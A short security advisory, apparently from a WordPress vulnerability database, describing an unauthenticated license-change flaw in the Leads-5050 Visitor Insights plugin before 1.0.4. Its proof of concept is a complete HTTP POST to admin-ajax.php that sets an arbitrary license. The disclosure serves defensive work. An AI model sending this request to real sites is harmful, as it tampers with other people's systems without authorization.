Leads-5050 Visitor Insights < 1.0.4 - Unauthenticated License Change

Description

The leads5050_set_license AJAX action was available to unauthenticated users allowing them to set an arbitrary license in the plugins settings

Proof of Concept

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 46
Connection: close

action=leads5050_set_license&api_license=AAAA2